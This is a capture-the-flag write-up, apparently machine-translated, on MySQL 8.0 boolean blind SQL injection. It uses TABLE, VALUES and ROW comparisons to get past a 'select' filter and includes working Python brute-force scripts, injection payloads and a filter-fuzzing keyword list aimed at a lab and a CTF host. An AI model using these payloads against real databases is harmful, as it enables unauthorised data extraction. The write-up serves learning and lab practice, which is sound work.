Ez_sql.wp
Address: http://110.40.245.122:8001/
01 shooting range construction
reference
https://xz.aliyun.com/t/8646
http://www.suphp.cn/anquanke/27/231627.html
Because tables are filtered in CTF shooting range, you can build your own shooting range to learn this knowledge point
In the literature, the shooting range environment is built with docker. Bloggers have tried to build it with docker in CentOs and PHPStudy in Win2008. If you don't want to see it, you can jump to the injection principle > Click here<
Docker
Recommended courses: [crazy God says JAVA] Docker Supporting notes
link:https://caiyun.139.com/m/i?175CdDsfbwz5h Extraction code:QnCk Copy content, open and color cloud PC Client, the operation is more convenient
be careful
- It is not recommended to use kali. mysql connection will cause problems. I use CentOS 7, which is matched with crazy God's course
- It is recommended to configure the source as Ali source, otherwise it will be very slow. Just follow the course of crazy God
- Here we will only talk about the process of building the shooting range and the pits encountered
For the installation of docker and docker compose, please refer to [crazy God says JAVA] Docker ,Centos install docker compose , it is assumed that the installation has been completed and you are familiar with docker related operations
Build mysql8 zero point two two
Pull the image and create the container, map the 3306d port in the container to the local 3306 port, and the initialization password is 123456
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
Then enter the container
[root@localhost ~]# docker ps [root@localhost ~]# docker exec -it ContainerID /bin/bash # Replace the ContainerID with e858d4529374 in the following figure
The above figure shows MySQL: 8.0 22. The Container ID of the container is described, which will not be described below
After entering the container, log in to MySQL and modify the default authentication method
root@e858d4529374:/# mysql -uroot -p123456 mysql> ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456'; mysql> flush privileges;
Configuration complete
Build sqli Labs
Download range
[root@localhost ~]# git clone git://github.com/c0ny1/vulstudy.git
Then enter the / root / vulstudy / sqli labs directory and start the shooting range
[root@localhost sqli-labs]# docker-compose up -d
Check the local IP address
ip addr # Generally, it is the IP corresponding to ens33
Enter container
[root@localhost sqli-labs]# docker ps # View c0ny1 / sqli labs: CONTAINER ID corresponding to 0.1 container [root@localhost sqli-labs]# docker exic -it 2ff520265c25 /bin/bash
Here we can first install vim for easy operation. Refer to the blog above
sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list apt-get clean && apt-get update && apt-get install vim
Then go to the / APP / SQL connections directory and edit the configuration file DB creds inc
root@2ff520265c25:/app/sql-connections# vim db-creds.inc # The specific configuration is as follows <?php //give your mysql connection username n password $dbuser ='root'; $dbpass ='123456'; $dbname ="security"; $host = '172.16.128.1'; # Here is the IP address of the Centos machine just viewed $dbname1 = "challenges"; ?>
Then we need to exit the container and restart the container
At this time, access the CentOS native address, which is 172.16 128.1, you can open the main page of sqli lib
Configuration complete
PHPStudy
Because the latest version of PHPStudy pro is only 8.0 12, so we need to download 8.0 19 and later versions of MySQL, download address MySQL Community Server 8.0.27 . Meanwhile, PHPStudy pro should be installed with 8.0 12 version of MySQL, so it will be in PHPStudy_ MySQL 8.0 exists under Pro \ extensions \ 0.12 directory, which will be downloaded after 8.0 Unzip all the contents of the 27 version compressed package to MySQL 8 Under the 0.12 directory, ask whether to replace or merge the original content, click Yes, and then start PHPStudy to observe whether MySQL is started successfully.
There is a hole here, that is, the PHP version of the latest version of PHPStudy pro is 7.3 by default 4, this version and 5* Some syntax incompatibilities, such as mysql, are not supported_ Query supports mysqli instead_ Query, here or change to 5* Version of PHP, and then install sqli-labs-master , or install Sqli lab for PHP7 .
The rest will not be repeated. There are many articles on PHPStudy installing sqli lab on the Internet. Learn by yourself.
02 comparison injection principle
Using mysql8 0 injection can be classified as Boolean blind injection, which is called comparative injection
Comparison principle
First, let's talk about the comparison between strings, numbers and strings, strings and numeric strings in MySQL, which is similar to the corresponding comparison in PHP
String to string comparison
The comparison order is from left to right, and the ASCII codes of each letter are compared in turn. If the left of the first letter is greater than the right, the left string is greater than the right string, and the comparison ends. If the first letter is the same, compare the second letter, and so on
mysql> select 'a' < 'b'; +-----------+ | 'a' < 'b' | +-----------+ | 1 | +-----------+ 1 row in set (0.01 sec) mysql> select 'az' < 'ba'; //The first letter is case sensitive and the comparison is complete. +-------------+ | 'az' < 'ba' | +-------------+ | 1 | +-------------+ 1 row in set (0.00 sec) mysql> select 'az' < 'aa'; //The first letter is the same, compare the second +-------------+ | 'az' < 'aa' | +-------------+ | 0 | +-------------+ 1 row in set (0.00 sec)
It should be noted that MySQL is case insensitive by default in Windows and case sensitive by default in Linux; PHP is case sensitive by default
You can refer to it Case problem in MySQL , I'm a little confused here. I'd better finish this article before reading it
# Linux mysql> table information_schema.schemata limit 4,1; => ('def','security','gbk','gbk_chinese_ci','NULL,NO') 1 row in set (0.00 sec) mysql> select @@version_compile_os; +----------------------+ | @@version_compile_os | +----------------------+ | Linux | +----------------------+ 1 row in set (0.00 sec) mysql> show variables like 'lower%'; +------------------------+-------+ | Variable_name | Value | +------------------------+-------+ | lower_case_file_system | OFF | # OFF means that the current file system is case sensitive, so the database name is case sensitive | lower_case_table_names | 0 | # 0 means that table names are case sensitive +------------------------+-------+ 2 rows in set (0.01 sec) mysql> select ('def','Z','','','','')<=(table information_schema.schemata limit 4,1); +------------------------------------------------------------------------+ | ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) | +------------------------------------------------------------------------+ | 1 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) # Windows mysql> select @@version_compile_os; +----------------------+ | @@version_compile_os | +----------------------+ | Win64 | +----------------------+ 1 row in set (0.00 sec) mysql> select ('def','Z','','','','')<=(table information_schema.schemata limit 4,1); +------------------------------------------------------------------------+ | ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) | +------------------------------------------------------------------------+ | 1 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select ('def','Z','','','','')<=(table information_schema.schemata limit 4,1); +------------------------------------------------------------------------+ | ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) | +------------------------------------------------------------------------+ | 0 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) # The following comparison is true on both Linux and Windows because MySQL is case insensitive when querying strings mysql> select 'A' = 'a'; +-----------+ | 'A' = 'a' | +-----------+ | 1 | +-----------+ 1 row in set (0.00 sec) mysql> select 'Z' > 'a'; # The ascii of 'a' is greater than 'Z' +-----------+ | 'Z' > 'a' | +-----------+ | 1 | +-----------+ 1 row in set (0.00 sec)
And PHP
<?php var_dump("a" == "A"); # bool(false) ?>
Number and string comparison
When comparing strings with numbers in mysql, it will automatically truncate from the first non numeric character, convert the string before the truncation point into numbers, and then compare. The same goes for PHP
mysql> select 'a' = 1; +---------+ | 'a' = 1 | +---------+ | 0 | +---------+ 1 row in set, 1 warning (0.00 sec) mysql> select 'a' = 0; +---------+ | 'a' = 0 | +---------+ | 1 | +---------+ 1 row in set, 1 warning (0.00 sec) mysql> select '1a' = 1; +----------+ | '1a' = 1 | +----------+ | 1 | +----------+ 1 row in set, 1 warning (0.00 sec) mysql> select '100adfasfdds' = 100; +----------------------+ | '100adfasfdds' = 100 | +----------------------+ | 1 | +----------------------+ 1 row in set, 1 warning (0.00 sec)
An example of PHP is attached
<?php var_dump("a" == 100); # bool(false) var_dump("100a" == 100) # bool(true) ?>
Comparison of string and numeric characters
In essence, the string is compared with the string. The first bit on the left is a, the ascii code is 97, and the first bit on the right is 1. Therefore, the left string is larger than the right string, and the comparison ends. The same goes for PHP.
mysql> select ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 row in set (0.00 sec) mysql> select ascii(1); # Without '', the number in MySQL can be automatically converted into a string, and ascii(a) will report an error, "Unknown column 'a' in 'field list'", and MySQL will take a as the field name +------------+ | ascii('1') | +------------+ | 49 | +------------+ 1 row in set (0.00 sec) mysql> select 'a' > '10000'; +---------------+ | 'a' > '10000' | +---------------+ | 1 | +---------------+ 1 row in set (0.00 sec)
PHP
<?php var_dump("a">"10000"); ?> bool(true)
New MySQL 8.0 features
table
In traditional injection, if the select character is fully filtered, it is basically GG... In MySQL 8.0, a keyword table instead of select appears. The usage is as follows:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
Support order by and limit. about offset I studied by the way.
mysql> table users order by username limit 0,5; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 14 | admin4 | admin4 | +----+----------+----------+ 5 rows in set (0.01 sec)
TABLE difference SELECT There are two main aspects:
- TABLE always displays all columns of the TABLE.
- TABLE does not allow any arbitrary filtering of rows; That is, TABLE does not support any WHERE clause.
values
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index
The VALUES keyword is followed by a list of one or more row constructors to construct a table. The row constructor is a function that can construct a row of the table. The following row() is
mysql> VALUES ROW(1,2,3); +----------+----------+----------+ | column_0 | column_1 | column_2 | +----------+----------+----------+ | 1 | 2 | 3 | +----------+----------+----------+ 1 row in set (0.00 sec) mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8); # List formed by row constructor +----------+----------+----------+ | column_0 | column_1 | column_2 | +----------+----------+----------+ | 1 | -2 | 3 | | 5 | 7 | 9 | | 4 | 6 | 8 | +----------+----------+----------+ 3 rows in set (0.00 sec)
values can be followed by union to determine the number of columns and inject
mysql> select * from users where id = 1 union values row(1,2,3); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | | 1 | 2 | 3 | +----+----------+----------+ 2 rows in set (0.04 sec)
If the number of columns is wrong, an error will be reported
Injection analysis
Let's first modify the source code of Less-1 so that it can pick but filter select, enter the sqli lag container for modification, and its source code is located in / APP / Less-1 / index php
// connectivity # Add the following code in this position of the source code function blacklist($id) { $id= preg_replace('/select/i',"", $id); return $id; } $id = blacklist($id);
Here is nothing more than the old routine, database name (optional) → table name → field name → data
Database name
mysql> table information_schema.schemata; # List all database information
You can see information_ schema. The schemata table has 6 columns, and the catalog of all records_ Name is def. Our new database appears on the fifth line. If limit is used, then limit 4,1 is the new database security record.
mysql> table information_schema.schemata limit 0,1; # mysql database line mysql> table information_schema.schemata limit 1,1; # information_schema data line ... mysql> table information_schema.schemata limit 4,1; # The database we want to inject
In practice, we can try to inject directly from limit 4,1. If an error is reported, we can reduce the value of the first parameter of limit. The following statement is used to judge the total number of databases. Generally, the records of the new database are at the bottom.
?id=1' and (table information_schema.schemata limit 1,1)> ('0','',3,4,5,6)--+ # If limit 2,1 makes and followed by false, and limit 1,1 makes and followed by true, there are only two databases
According to the comparison principle, the comparison between strings starts from the first letter of the first field from left to right. If the size of a letter in the first field is successful, the comparison will be stopped. If it is equal, the next letter will be compared. If all letters in the field are equal, the next field will be compared, and so on. The value of the first field is fixed, so we compare the first letter of the second field for the first time, that is, s in security.
I need to repeat it here On SQL injection by using the new features of mysql8 A note mentioned in
The last column of the current column needs to be represented by characters, not numbers, otherwise the last character of the current column will not be judged! In addition to this column that needs to be represented by characters, numbers are recommended for other columns, because numbers can be used as both strings and numbers. Errors caused by different character types can be avoided during comparison
mysql> select (1,'Dumb',1)<=(1,'Dumb','Dumb'); +---------------------------------+ | (1,'Dumb',1)<=(1,'Dumb','Dumb') | +---------------------------------+ | 0 | +---------------------------------+ 1 row in set, 1 warning (0.00 sec) mysql> select (1,'Dumb','')<=(1,'Dumb','Dumb'); +----------------------------------+ | (1,'Dumb','')<=(1,'Dumb','Dumb') | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec)
Therefore, the initialization string can be set to ('def ',' 0 ',' 4,5,6)
?id=1' and (('def','0','',4,5,6)<=(table information_schema.schemata limit 4,1))--+
It's the same when using < or < = here. So we just need to replace the position of 0 with all possible printable characters and write a fuzzy script, where the database name, table name, field name, etc. should be based on MySQL naming convention Generally, the database name is set by [0-9A-Za-z_] Composed of. We can start with 0.
import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123)) # [0-9A-Za-z_] for i in fuzz_ascii: res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','"+chr(i)+"','',4,5,6)<=(table information_schema.schemata limit 4,1)--+") if 'Your Login name:Dumb' in res.text: print("less than/be equal to: {0}".format(chr(i))) else: print("greater than: {0}".format(chr(i)))
The first letter is s, and then test the second letter. Just modify the value of the res parameter in the script
res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','s"+chr(i)+"','',4,'5','6')<=(table information_schema.schemata limit 4,1)--+")
After judging the last letter, i.e
res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security"+chr(i)+"','',4,5,6)<=(table information_schema.schemata limit 4,1)--+")
Any character on the left is larger than the empty character on the right, so all characters are greater than
So we can conclude that the first database is security. If you want to judge the current database, you can
?id=1' and ascii(substr(database(),1,1))--+
To judge, there is no need to select
Table name
mysql> table information_schema.tables; # List information for all tables
Since table cannot use where, each table in each database will be used as a record. information_schema.tables has 21 columns in total, and all records have tables_ The value of catalog is def.
First, we need to find the number of rows in the first table of the security database
It can be judged from these two inequalities that only records with the second field of security can meet the following two conditions
('def','security','0') <= ('def','security','*') # *Represents any character ('def','security','z') >= ('def','security','*')
So construct the script
import requests fuzz_ascii = range(1,500) test = [] for i in fuzz_ascii: res1 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','z','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) >= (table information_schema.tables limit "+str(i)+",1)--+") res2 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit "+str(i)+",1)--+") if 'Your Login name:Dumb' in res1.text and 'Your Login name:Dumb' in res2.text: print("yes: {0}".format(i)) test.append(i) print(test)
As can be seen from the results, the four lines 322-325 are about the security database
Then we start blasting table names. Therefore, according to the above analysis of the database name, we can directly modify the script
import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(97,123)) for i in fuzz_ascii: res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 322,1)--+") if 'Your Login name:Dumb' in res.text: print("less than/be equal to: {0}".format(chr(i))) else: print("greater than: {0}".format(chr(i)))
In this way, we can conclude that the first table of security is users. When all the table names have been obtained, the results are all greater than, indicating that it has reached the last place
('def','security','users"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)
Field name
mysql> table information_schema.columns; # List information for all tables
information_ schema. The columns table has 22 columns and the table of all records_ Catalog is def. It is also divided into two stages. First, find security The number of rows of the record corresponding to the users table, and then explode the fourth column column_ Content of name
The principle is the same as before. Here is the script, which is similar
# Find the row where the record is located import requests fuzz_ascii = range(1,10000) test = [] for i in fuzz_ascii: res1 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','z','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) >= (table information_schema.columns limit "+str(i)+",1)--+") res2 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','0','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) <=(table information_schema.columns limit "+str(i)+",1)--+") if 'Your Login name:Dumb' in res1.text and 'Your Login name:Dumb' in res2.text: print("yes: {0}".format(i)) test.append(i) print(test)
Note that there are 22 columns and turn up our fuzzy appropriately_ Value of ASCII
# First field name import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123)) # 0-9A-Za-z_ for i in fuzz_ascii: res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','"+chr(i)+"','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3415,1)--+") if 'Your Login name:Dumb' in res.text: print("less than/be equal to: {0}".format(chr(i))) else: print("greater than: {0}".format(chr(i)))
The actual blasting results here are indeed like this
Maybe it's for this reason Mysql case sensitive (case sensitive) configuration
MySQL stay Linux The following database name, table name, column name and alias case rules are as follows: 1,Database names and table names are strictly case sensitive; 2,Table aliases are strictly case sensitive; 3,Column names and column aliases ignore case in all cases; 4,Variable names are also strictly case sensitive;
Case ignored, natural = = 'Z' = 'Z' > 'a'==
So we can get security The users field names are id, username and password respectively
Blasting data
Here we have to face a problem, that is, how many records are there in users, fuzzy
import requests num = range(0,100) for i in num: res = requests.get("http://172.16.128.1/Less-1/?id=1'and (0,0,0)<=(table security.users limit "+str(i)+",1)--+") if 'Your Login name:Dumb' in res.text: print("The first"+str(i+1)+"Records") else: pass
Or when the value of the first field is' 0 '(' 0 ',' ', 1) is still greater than, indicating that a parameter of limit has been exceeded, so all values are NULL
Then the blasting data, like the previous truth, should be noted that the characters should be taken Printable character , the decimal system of ASCII code is the interval [32126]. At the same time, some interference characters should be removed, such as #[35], \ [92], & [38], '[39], "[34], = [61], < [60], > [62]. If these data may exist in the data, they can be added and noted again. Here, they should be removed first for observation (some interference characters are added later, and the following figure only illustrates the principle)
import requests fuzz_ascii = list(range(32,34))+list(range(36,38))+list(range(40,60))+list(range(63,92))+list(range(93,127)) for i in fuzz_ascii: res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('"+chr(i)+"','',1) <= (table security.users limit 0,1)--+") if 'Your Login name:Dumb' in res.text: print("less than/be equal to: {0}".format(chr(i))) else: print("greater than: {0}".format(chr(i)))
The first letter of the first field is 1
res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('1"+chr(i)+"','',1) <= (table security.users limit 0,1)--+")
Then test the second field
03 judge closing and annotation mode
'--+
04 characters filtered by fuzzy topic
Adjust the fuzzy script according to the return value
import requests sql_char = ['select', 'Select', 'sElect', 'seLect', 'selEct', 'seleCt', 'selecT', 'SElect', 'SeLect', 'SelEct', 'SeleCt', 'SelecT', 'sELect', 'sElEct', 'sEleCt', 'sElecT', 'seLEct', 'seLeCt', 'seLecT', 'selECt', 'selEcT', 'seleCT', 'SELect', 'SElEct', 'SEleCt', 'SElecT', 'SeLEct', 'SeLeCt', 'SeLecT', 'SelECt', 'SelEcT', 'SeleCT', 'sELEct', 'sELeCt', 'sELecT', 'seLECt', 'seLEcT', 'selECT', 'seLECT', 'sElECT', 'sELeCT', 'sELEcT', 'sELECt', 'SelECT', 'SeLeCT', 'SeLEcT', 'SeLECt', 'SEleCT', 'SElEcT', 'SElECt', 'SELecT', 'SELeCt', 'SELEct', 'sELECT', 'SeLECT', 'SElECT', 'SELeCT', 'SELEcT', 'SELECt', 'SELECT', 'infomation_schema', 'schemata', 'tables', 'table', 'columns', 'row', 'limit', 'union', 'and', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'prepare', 'as', 'if', 'char', 'ascii', 'mid', 'left', 'right', 'substring', 'handler', 'updatexml', 'extractvalue', 'benchmark', 'insert', 'update', 'all', '@', '#', '^', '&', '*', '\'', '"', '~', '`', '(', ')', '--', '=', '/', '\\', ' ', '<', '>'] for char in sql_char: res = requests.get("http://110.40.245.122:8001/index.php?username=admin&password=admin' "+char+"--+&submit=login") if 'you are hacker' in res.text: print("The character is illegal: {0}".format(char)) else: print("adopt: {0}".format(char))
Screenshot of some results:
Finally, the filtering results are: select, =, tables<
-
Attempts to bypass select failed. Using MySQL 8.0 The features updated in version 19 can be injected through size comparison by using the keywords table, values and row.
-
=You can use like instead
-
If tables is filtered, there is no way to note the table name. You can only guess
-
< can be replaced by >
05 start injection
So much foreshadowing has been done before. In order to easily understand and learn the principle, its value is far greater than just making a problem.
Database
method.1
http://172.16.128.1/Less-1/?id=1' and ascii(substr(database(),1,1))>0 --+
method.2
Using the previous script, note that you can only use >. First, manually judge how many databases there are
?id=1' and (table information_schema.schemata limit 1,1)> ('0','',3,4,5,6)--+ # login success ?id=1' and (table information_schema.schemata limit 2,1)> ('0','',3,4,5,6)--+ # login wrong
Blasting database name
import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123)) for i in fuzz_ascii: res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.schemata limit 1,1) > ('def','"+chr(i)+"','',4,5,6)--+") if 'login success' in res.text: print("greater than/be equal to: {0}".format(chr(i))) else: print("less than: {0}".format(chr(i))) # The first letter is m # res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.schemata limit 1,1)>('def','m"+chr(i)+"','',4,5,6)--+") # Add m and replace res with the above, and you can get that the second letter is y
You can get the database name myDb
Tables
Because the keywords of tables are filtered, in addition to guessing, information_ schema. There are also records about table names in the table columns, but we need to find the number of rows where the records are located
Columns
There are still two steps. First, judge information_ schema. The record where the mydb library is located is in information_ schema. Which rows of the columnsd table. Since < and = arefiltered, further judgment is required according to the results
import requests fuzz_ascii = range(1,2000) test = [] for i in fuzz_ascii: res1 = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and ('def','myDb','z',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) > (table information_schema.columns limit "+str(i)+",1)--+") if 'login success' in res1.text: print("yes: {0}".format(i)) test.append(i) print(test)
Since the record of myDb will definitely return login success, we might as well look forward to limit 735
Second: since there is no blasting table name, the table name is reported here, which is the third field, and then the column name is blasted, which is the fourth field
Blasting table name:
import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123)) # 0-9A-Za-z_ for i in fuzz_ascii: res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.columns limit 735,1) > ('def','myDb','"+chr(i)+"',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)--+") if 'login success' in res.text: print("greater than/be equal to: {0}".format(chr(i))) # >It also holds when both ends are equal else: print("less than: {0}".format(chr(i)))
This is the result of exploding the first letter, which seems to be a bit reliable
After blasting, the table name is flag, indicating that there is such a table in myDb
Burst field name
import requests fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123)) # 0-9A-Za-z_ for i in fuzz_ascii: res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.columns limit 735,1) > ('def','myDb','flag','"+chr(i)+"','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)--+") if 'login success' in res.text: print("greater than/be equal to: {0}".format(chr(i))) else: print("less than: {0}".format(chr(i)))
The name of a field in the flag table is flag, which should be what we need. However, we need to know how many fields the flag table has and where the flag field is located. The first problem can be solved through values row(1,2,3,...) To test, but if you can note all the field names, you can directly solve these two problems. So blow up the record of limit 734. Suppose it is still the myDb database. As long as it is not all less than or greater than, it means it is still in the myDb database. It's still the same as before
(table information_schema.columns limit 734,1) > ('def','myDb','"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)
You can get that the first and second letters of the table name are Pe, so one field of the flag table is flag
Data
import requests fuzz_ascii = list(range(32,34))+list(range(36,38))+list(range(40,60))+list(range(63,92))+list(range(93,127)) for i in fuzz_ascii: res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) > ('"+chr(i)+"')--+") if 'login success' in res.text: print("greater than/be equal to: {0}".format(chr(i))) else: print("less than: {0}".format(chr(i)))
The notes here are also case insensitive.. Let's assume lowercase..
res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) > ('flag{ca6s51c6sa1cas65c1as6c16}"+chr(i)+"')--+")
Incorrect. . .
Verify it
http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) like 'flag{ca6s51c6sa1cas65c1as6c16}'--+
login success